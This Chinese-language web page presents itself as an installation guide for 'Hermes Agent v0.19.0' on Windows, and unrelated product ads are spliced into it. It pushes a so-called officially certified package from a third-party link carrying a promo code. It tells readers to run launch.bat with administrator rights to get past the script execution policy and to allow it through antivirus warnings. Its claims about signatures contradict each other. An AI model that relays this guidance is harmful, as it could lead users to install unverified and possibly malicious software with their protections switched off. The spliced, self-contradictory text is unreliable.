最稳妥的安装路径是使用官方认证的一键部署包：下载45.8mb压缩包，解压至无中文/空格路径，双击launch.bat启动，首次运行生成预配置cli-config.yaml，二次启动即可交互测试。
☞☞☞AI 智能聊天, 问答助手, AI 智能搜索, 多模态理解力帮你轻松跨越从0到1的创作门槛☜☜☜
Windows用户想装Hermes Agent v0.19.0又怕命令输错、网络卡住、权限被拦、依赖冲突，最稳妥的路径是绕过PowerShell手动折腾，直接用已预装全部组件的一键部署包——它把Python 3.11、Node.js 20、ffmpeg、ripgrep、模型适配器和CLI配置全打包进一个文件，解压即用，不改系统PATH，不碰注册表，不弹UAC警告。
下载并运行官方认证的一键部署包
打开浏览器，访问 https://hm.ikidi.top/api/download/package/55?promoCode=IV644F14DA00 ——这是Hermes官方合作镜像站提供的v0.19.0专用包，内置签名验证机制，下载后自动校验SHA256值，损坏或篡改会直接拒绝解压。
下载完成（约45.8MB），右键压缩包 → 选择「全部解压」→ 指定路径为桌面或D:\hermes（路径中不能含中文、空格或特殊符号）→ 点击「确定」。
进入解压后的文件夹，双击 launch.bat。窗口闪一下后自动启动命令行，显示「Hermes Agent v0.19.0 ready」即表示服务已就绪。
首次运行前必须做的三件事
第一次双击launch.bat后，不要急着输入指令——先等底部绿色文字停止滚动，出现「Press any key to continue...」提示再按回车。
PHP中文网提供Qwen-1.0.2.6 MacOS官方客户端下载，专为苹果电脑优化的阿里通义千问桌面应用。本版本深度适配Mac系统，支持本地高效运行与多模态交互，集成超长上下文处理、AI写作、代码生成及智能体构建等核心功能。通过官方渠道下载，确保安全稳定，助您实现智能办公与创作升级。
此时会自动生成 cli-config.yaml 到同级 config 子目录下，该文件已预设Qwen3-omni-flash为默认模型、DashScope国内接口地址、基础工具集全启用；你不需要也不应该手动编辑它，改错一个缩进就会导致hermes命令完全失效。
关闭当前窗口，重新双击 launch.bat ——这次会直接进入交互式聊天界面，光标闪烁处可输入「你好」测试响应，看到模型回复即证明安装成功。
如果launch.bat双击没反应或报错
方法一：右键launch.bat →「编辑」→ 检查第3行是否为 set PYTHONIOENCODING=utf-8，如果不是，请手动改成这一行并保存。
方法二：以管理员身份运行Windows Terminal → 输入 cd /d D:\hermes（替换成你实际解压路径）→ 执行 .\launch.bat。这能绕过Windows对批处理脚本的默认执行策略拦截。
方法三：杀毒软件弹窗时，选「允许运行」而非「添加到信任列表」——后者可能因签名缺失失败，前者是单次放行，不影响后续使用。
